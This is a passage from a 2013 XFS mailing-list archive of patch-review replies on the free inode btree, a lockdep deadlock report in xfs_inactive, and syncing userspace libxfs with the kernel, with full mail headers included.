> I can see that there may be reason for logging > > XFS_AGI_FREE_ROOT|*_LEVEL and XFS_AGI_NEW_INODE all in one go - > > pointing new inode allocation at recently freed inodes is not > > unreasonable, and if we split the finobt and update agi_newino in > > the one update, we will log across this gap. > > > > For the sake of argument, it seems a little strange to me to set an > inode level value in the agi in the context of a btree operation, such > as a split... Like we do with the AGF to record changes to the longest extent in the btree? It's not a stretch to think we might update the "allocation from here" target in the AGI when we make a specific type of btree record change.... ;) True, that is still an isolated logging event, but my point is that specific btree operations may drive other logging events in the header than just root/level... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Sep 6 16:24:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4C8F829DFB for ; Fri, 6 Sep 2013 16:24:49 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 17E6C8F8035 for ; Fri, 6 Sep 2013 14:24:46 -0700 (PDT) X-ASG-Debug-ID: 1378502684-04bdf02f22e07450001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id gCu6j4rYUyPUXQQH for ; Fri, 06 Sep 2013 14:24:44 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqIGAIFHKlJ5LJ62/2dsb2JhbABbgweDR7lnhTeBJRd0giQBAQU6HCMQCAMOCgklDwUlAyETiAG9YhaPZgeDHYEAA5d0kWeDMio Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl2.internode.on.net with ESMTP; 07 Sep 2013 06:54:44 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VI3WD-00054g-VW; Sat, 07 Sep 2013 07:24:41 +1000 Date: Sat, 7 Sep 2013 07:24:41 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [RFC PATCH 10/11] xfs: update the finobt on inode free Message-ID: <20130906212441.GB12541@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 10/11] xfs: update the finobt on inode free References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-11-git-send-email-bfoster@redhat.com> <20130905025421.GX23571@dastard> <5228AF00.7080700@redhat.com> <20130906002847.GR12779@dastard> <5229BEE6.3060407@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5229BEE6.3060407@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1378502684 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140397 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Fri, Sep 06, 2013 at 07:39:18AM -0400, Brian Foster wrote: > On 09/05/2013 08:28 PM, Dave Chinner wrote: > > On Thu, Sep 05, 2013 at 12:19:12PM -0400, Brian Foster wrote: > >> On 09/04/2013 10:54 PM, Dave Chinner wrote: > >>> On Tue, Sep 03, 2013 at 02:25:07PM -0400, Brian Foster wrote: > ... > >> > >> I think I'm parsing you after having another look at the code. > >> xfs_inobt_lookup() remains as is and is potentially used from > >> xfs_inobt_insert(). xfs_inobt_insert_rec() is introduced to set the > >> cursor fields and do the insert and is used here and from > >> xfs_inobt_insert(). > > > > Effectively. xfs_inobt_insert() becomes: > > > > for (each inode chunk) { > > xfs_inobt_lookup(cur, startino) > > xfs_inobt_insert_rec(cur, startino, free, free_count) > > } > > > > And this code becomes: > > > > xfs_inobt_lookup(cur, startino); > > if (!found) { > > if (free_count == 1) > > xfs_inobt_insert_rec(cur, startino, free, free_count) > > else > > CORRUPTION > > goto out; > > } > > > >> At that point, this looks close to xfs_inobt_insert(), but I think using > >> that here would introduce a duplicate lookup. > > > > Yes, it would. I think just using helpers like this is sufficient > > for the two different cases, especially as xfs_inobt_insert() needs > > to be able to handle multiple chunk insertion and we don't have that > > here... > > > > Ok, that was my thinking as well. > > >> Regardless, we'll see what > >> the whole thing looks like at that point. Thanks for the reviews. :) > > > > No worries. BTW, can you post your rudimentary userspace support so > > we can run tests that use this code, too? > > > > Sure. My xfsprogs branch currently is the application of a slightly > older version of this set (pre-cleanups I made to make this post-worthy) > with some hacks to make it apply/compile and a few other patches on top > of that for mkfs, xfs_db and xfs_repair to work through some basic > things I ran into when running xfstests. > > Would you prefer I drop the whole thing on the list? Drop it on the list, maybe just a as tarball rather than a patchset if it's not ready for review yet. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Sep 6 16:35:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9365D29DFB for ; Fri, 6 Sep 2013 16:35:59 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 54BF7AC001 for ; Fri, 6 Sep 2013 14:35:58 -0700 (PDT) X-ASG-Debug-ID: 1378503357-04bdf02f22e07ff0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id bO1mJJG5pG6mhIbq for ; Fri, 06 Sep 2013 14:35:57 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqIGAORJKlJ5LJ62/2dsb2JhbABTCIMHg0e5aIU3gSUXdIIlAQUnExwjEAgDISUPBSUDIROIAb1fFo4pgT0Hgx2BAAOUG4NZkWeDMiqBLiQ Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl2.internode.on.net with ESMTP; 07 Sep 2013 07:05:56 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VI3h5-000586-HV; Sat, 07 Sep 2013 07:35:55 +1000 Date: Sat, 7 Sep 2013 07:35:55 +1000 From: Dave Chinner To: "Michael L. Semon" Cc: Brian Foster , xfs@oss.sgi.com Subject: Re: [RFC PATCH 00/11] xfs: introduce the free inode btree Message-ID: <20130906213555.GC12541@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 00/11] xfs: introduce the free inode btree References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <5228F4D6.4050306@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5228F4D6.4050306@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1378503357 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140397 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Thu, Sep 05, 2013 at 05:17:10PM -0400, Michael L. Semon wrote: .... > [ 814.376620] XFS (sdb4): Mounting Filesystem > [ 815.050778] XFS (sdb4): Ending clean mount > [ 823.169368] > [ 823.170932] ====================================================== > [ 823.172146] [ INFO: possible circular locking dependency detected ] > [ 823.172146] 3.11.0+ #5 Not tainted > [ 823.172146] ------------------------------------------------------- > [ 823.172146] dirstress/5276 is trying to acquire lock: > [ 823.172146] (sb_internal){.+.+.+}, at: [] xfs_trans_alloc+0x1f/0x35 > [ 823.172146] > [ 823.172146] but task is already holding lock: > [ 823.172146] (&(&ip->i_lock)->mr_lock){+++++.}, at: [] xfs_ilock+0x100/0x1f1 > [ 823.172146] > [ 823.172146] which lock already depends on the new lock. > [ 823.172146] > [ 823.172146] > [ 823.172146] the existing dependency chain (in reverse order) is: > [ 823.172146] > [ 823.172146] -> #1 (&(&ip->i_lock)->mr_lock){+++++.}: > [ 823.172146] [] __lock_acquire+0x345/0xa11 > [ 823.172146] [] lock_acquire+0x88/0x17e > [ 823.172146] [] _raw_spin_lock+0x47/0x74 > [ 823.172146] [] __mark_inode_dirty+0x171/0x38c > [ 823.172146] [] __set_page_dirty+0x5f/0x95 > [ 823.172146] [] mark_buffer_dirty+0x58/0x12b > [ 823.172146] [] __block_commit_write.isra.17+0x64/0x82 > [ 823.172146] [] block_write_end+0x2b/0x53 > [ 823.172146] [] generic_write_end+0x42/0x9a > [ 823.172146] [] xfs_vm_write_end+0x60/0xbe > [ 823.172146] [] generic_file_buffered_write+0x140/0x20f > [ 823.172146] [] xfs_file_buffered_aio_write+0x10b/0x205 > [ 823.172146] [] xfs_file_aio_write+0xad/0xec > [ 823.172146] [] do_sync_write+0x60/0x87 > [ 823.172146] [] vfs_write+0x9c/0x189 > [ 823.172146] [] SyS_write+0x49/0x81 > [ 823.172146] [] sysenter_do_call+0x12/0x32 > [ 823.172146] > [ 823.172146] -> #0 (sb_internal){.+.+.+}: > [ 823.172146] [] validate_chain.isra.35+0xfc7/0xff4 > [ 823.172146] [] __lock_acquire+0x345/0xa11 > [ 823.172146] [] lock_acquire+0x88/0x17e > [ 823.172146] [] __sb_start_write+0xad/0x177 > [ 823.172146] [] xfs_trans_alloc+0x1f/0x35 > [ 823.172146] [] xfs_inactive+0x129/0x4a3 > [ 823.172146] [] xfs_fs_evict_inode+0x6c/0x114 > [ 823.172146] [] evict+0x8e/0x15d > [ 823.172146] [] iput+0xc4/0x138 > [ 823.172146] [] dput+0x1b2/0x257 > [ 823.172146] [] __fput+0x140/0x1eb > [ 823.172146] [] ____fput+0xd/0xf > [ 823.172146] [] task_work_run+0x67/0x90 > [ 823.172146] [] do_notify_resume+0x61/0x63 > [ 823.172146] [] work_notifysig+0x1f/0x25 > [ 823.172146] > [ 823.172146] other info that might help us debug this: > [ 823.172146] > [ 823.172146] Possible unsafe locking scenario: > [ 823.172146] > [ 823.172146] CPU0 CPU1 > [ 823.172146] ---- ---- > [ 823.172146] lock(&(&ip->i_lock)->mr_lock); > [ 823.172146] lock(sb_internal); > [ 823.172146] lock(&(&ip->i_lock)->mr_lock); > [ 823.172146] lock(sb_internal); Ah, now there's something I missed in all the xfs_inactive transaction rework - you can't call xfs_trans_alloc()/xfs-trans_reserve with the XFS_ILOCK_??? held. It's not the freeze locks you really have to worry about deadlocking if you do, it's deadlocking against log space that is much more likely. i.e. if you hold the ILOCK, the AIL can't get it to flush the inode to disk. That means if the inode you hold locked is pinning the tail of the log and there is no logspace for the transaction you are about to run, xfs_trans_reserve() will block forever waiting for the inode to be flushed and the tail of the log to move forward. This will end up blocking all further reservations and hence deadlock the filesystem... Brian, if you rewrite xfs_inactive in the way that I suggested, this problem goes away ;) Thanks for reporting this, Michael. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Sep 6 16:40:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EDD3E7F54 for ; Fri, 6 Sep 2013 16:40:26 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D0D658F8035 for ; Fri, 6 Sep 2013 14:40:26 -0700 (PDT) X-ASG-Debug-ID: 1378503624-04cb6c153ddd5b50001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 1iR8hifKnZrxGaV0 for ; Fri, 06 Sep 2013 14:40:25 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqIGAN9KKlJ5LJ62/2dsb2JhbABbgweDR7lohTeBJRd0giQBAQU6HCMQCAMVAwklDwUlAyETiAG9XxaPZgeDHYEAA5d0ijCHN4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl2.internode.on.net with ESMTP; 07 Sep 2013 07:10:24 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VI3lN-00059k-Ke; Sat, 07 Sep 2013 07:40:21 +1000 Date: Sat, 7 Sep 2013 07:40:21 +1000 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH 31/55] libxfs: switch over to xfs_sb.c and remove xfs_mount.c Message-ID: <20130906214021.GD12541@dastard> X-ASG-Orig-Subj: Re: [PATCH 31/55] libxfs: switch over to xfs_sb.c and remove xfs_mount.c References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-32-git-send-email-david@fromorbit.com> <522A1BCA.6010500@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <522A1BCA.6010500@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1378503624 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140399 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Sep 06, 2013 at 01:15:38PM -0500, Mark Tinguely wrote: > On 09/04/13 17:05, Dave Chinner wrote: > >From: Dave Chinner > > > >Now that the kernel code has split the superblock specific code out > >of xfs_mount.c, we don't need xfs_mount.c anymore. Copy in xfs_sb.c > >and remove xfs_mount.c > > > >Signed-off-by: Dave Chinner > >--- > > user equivalent of the for Linux 3.12 kernel patch 20/49. > This patch leaves xfs_sb.c/xfs_sb.h difference. > > For example in xfs_sb.h the user header is missing the project inode > test in xfs_is_quota_inode(). > > Shouldn't xfs_sb.[ch] synced to the kernel files at this point? No, they don't end up perfectly synced because of the different error messages in the code and some of the checks aren't relevant to userspace. Looks like there's some new whitespace differences, and that I missed a pquota change as well. I'll send a new version later today. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Sep 6 16:41:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3B47A7F54 for ; Fri, 6 Sep 2013 16:41:38 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1D2718F8035 for ; Fri, 6 Sep 2013 14:41:38 -0700 (PDT) X-ASG-Debug-ID: 1378503696-04cbb02c3edca7b0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id mHj8IgeD446Pzbsp for ; Fri, 06 Sep 2013 14:41:36 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqIGAN9KKlJ5LJ62/2dsb2JhbABbgweDR7lohTeBJRd0giQBAQU6HCMQCAMVAwklDwUlAyETiAG9XxaPZgeDHYEAA5d0ijCHN4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl2.internode.on.net with ESMTP; 07 Sep 2013 07:11:35 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VI3mX-0005AI-8E; Sat, 07 Sep 2013 07:41:33 +1000 Date: Sat, 7 Sep 2013 07:41:33 +1000 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH 37/55] xfs: remove __KERNEL__ from debug code Message-ID: <20130906214133.GE12541@dastard> X-ASG-Orig-Subj: Re: [PATCH 37/55] xfs: remove __KERNEL__ from debug code References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-38-git-send-email-david@fromorbit.com> <522A10A4.3000003@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <522A10A4.3000003@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1378503696 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140397 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Sep 06, 2013 at 12:28:04PM -0500, Mark Tinguely wrote: > On 09/04/13 17:05, Dave Chinner wrote: > >From: Dave Chinner > > > >There is no reason the remaining kernel-only debug code needs to > >remain kernel-only. Kill the __KERNEL__ part of the defines, and let > >userspace handle the debug code appropriately. > > > >Signed-off-by: Dave Chinner > >--- > user equivalent of the for Linux 3.12 kernel patch 30/50. > > the real time kernel and user xfs_rtalloc.c files are not synced. > It is okay with me. > > Reviewed-by: Mark Tinguely Yes, they still need to be split up on the kernel side. the rtdev is not a high priority for testing, so I haven't done this yet... Cheers, Dave. -- Dave Chinner david@fromorbit.com From tinguely@sgi.com Fri Sep 6 16:43:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 148907F54 for ; Fri, 6 Sep 2013 16:43:00 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id DBBA68F8035; Fri, 6 Sep 2013 14:42:59 -0700 (PDT) Message-ID: <522A4C62.2000103@sgi.com> Date: Fri, 06 Sep 2013 16:42:58 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 37/55] xfs: remove __KERNEL__ from debug code References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-38-git-send-email-david@fromorbit.com> <522A10A4.3000003@sgi.com> <20130906214133.GE12541@dastard> In-Reply-To: <20130906214133.GE12541@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/06/13 16:41, Dave Chinner wrote: > On Fri, Sep 06, 2013 at 12:28:04PM -0500, Mark Tinguely wrote: >> On 09/04/13 17:05, Dave Chinner wrote: >>> From: Dave Chinner >>> >>> There is no reason the remaining kernel-only debug code needs to >>> remain kernel-only. Kill the __KERNEL__ part of the defines, and let >>> userspace handle the debug code appropriately. >>> >>> Signed-off-by: Dave Chinner >>> --- >> user equivalent of the for Linux 3.12 kernel patch 30/50. >> >> the real time kernel and user xfs_rtalloc.c files are not synced. >> It is okay with me. >> >> Reviewed-by: Mark Tinguely > > Yes, they still need to be split up on the kernel side. the rtdev is > not a high priority for testing, so I haven't done this yet... > > Cheers, > > Dave. Noticed that. It is fine with me. --Mark. From tinguely@sgi.com Fri Sep 6 16:43:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 393E47F58 for ; Fri, 6 Sep 2013 16:43:23 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id F2FBA8F8035; Fri, 6 Sep 2013 14:43:22 -0700 (PDT) Message-ID: <522A4C79.1030200@sgi.com> Date: Fri, 06 Sep 2013 16:43:21 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 31/55] libxfs: switch over to xfs_sb.c and remove xfs_mount.c References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-32-git-send-email-david@fromorbit.com> <522A1BCA.6010500@sgi.com> <20130906214021.GD12541@dastard> In-Reply-To: <20130906214021.GD12541@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/06/13 16:40, Dave Chinner wrote: > On Fri, Sep 06, 2013 at 01:15:38PM -0500, Mark Tinguely wrote: >> On 09/04/13 17:05, Dave Chinner wrote: >>> From: Dave Chinner >>> >>> Now that the kernel code has split the superblock specific code out >>> of xfs_mount.c, we don't need xfs_mount.c anymore. Copy in xfs_sb.c >>> and remove xfs_mount.c >>> >>> Signed-off-by: Dave Chinner >>> --- >> >> user equivalent of the for Linux 3.12 kernel patch 20/49. >> This patch leaves xfs_sb.c/xfs_sb.h difference. >> >> For example in xfs_sb.h the user header is missing the project inode >> test in xfs_is_quota_inode(). >> >> Shouldn't xfs_sb.[ch] synced to the kernel files at this point? > > No, they don't end up perfectly synced because of the different > error messages in the code and some of the checks aren't relevant to > userspace. Looks like there's some new whitespace differences, and > that I missed a pquota change as well. I'll send a new version later > today. > > Cheers, > > Dave. Okay. Thanks for the work. We can bring that series in early next week. --Mark. From david@fromorbit.com Fri Sep 6 16:50:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1E3A17F54 for ; Fri, 6 Sep 2013 16:50:43 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E44C2AC001 for ; Fri, 6 Sep 2013 14:50:41 -0700 (PDT) X-ASG-Debug-ID: 1378504240-04cb6c2e9fddaa60001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id oltv5I29CntYftSg for ; Fri, 06 Sep 2013 14:50:40 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqMGAGpNKlJ5LJ62/2dsb2JhbABbgweDR7lohTeBJRd0giQBAQQBOhwjBQsIAxUDCSUPBSUDIROHfAW+ABaPZgeDHYEAA5d0ijCHN4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl2.internode.on.net with ESMTP; 07 Sep 2013 07:20:39 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VI3vJ-0005B8-9Q; Sat, 07 Sep 2013 07:50:37 +1000 Date: Sat, 7 Sep 2013 07:50:37 +1000 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH 40/55] xfs: make struct xfs_perag kernel only Message-ID: <20130906215037.GF12541@dastard> X-ASG-Orig-Subj: Re: [PATCH 40/55] xfs: make struct xfs_perag kernel only References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-41-git-send-email-david@fromorbit.com> <522A199D.9040509@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <522A199D.9040509@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1378504240 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140400 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Sep 06, 2013 at 01:06:21PM -0500, Mark Tinguely wrote: > On 09/04/13 17:05, Dave Chinner wrote: > >From: Dave Chinner > > > >The struct xfs_perag has many kernel-only definitions in it, > >requiring a __KERNEL__ guard so userspace can use it to. Move it to > >xfs_mount.h so that it it kernel-only, and let userspace redefine > >it's own version of the structure containing only what it needs. > >This gets rid of another __KERNEL__ check in the XFS header files. > > > >Signed-off-by: Dave Chinner > >--- > > Yeah, this is the end of the kernel / user sync part of the series. > Thanks Dave. > > The major difference seem to come from this series user patch 31/55. > > Other differences between kernel/user header/sources are in: > include major difference to TOT: > struct xfs_perag is in xfs_ag.h user and xfs_mount.h in kernel. It is in include/libxfs.h in userspace, as it is different to the version that the kernel uses. > some differences between > xfs_alloc_btree.c xfs_bmap_btree.c btree trace code is the difference here - that needs to be unified but userspace has different infrastructure right now. Not important right now. > xfs_btree.c readahead functions are missing. userspace defined readhead to a nop, so not a high priority. It should be done, though. > xfs_ialloc_btree.c btree trace code again. > xfs_inode_buf.c Doesn't have the new log readahead verifier support, and doesn't do the "no inode read on create" shortcut which we shouldn't do in userspace, anyway. Minor differences, not immediately important. Oh, uuid/platform_uuid thingy. Will need to clean that up, too, on the next round of updates. > xfs_rtalloc.c Not yet split up. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Sep 6 16:55:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E64CB7F55 for ; Fri, 6 Sep 2013 16:55:04 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id C946A8F8040 for ; Fri, 6 Sep 2013 14:55:04 -0700 (PDT) X-ASG-Debug-ID: 1378504503-04cbb02c3cdcb050001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 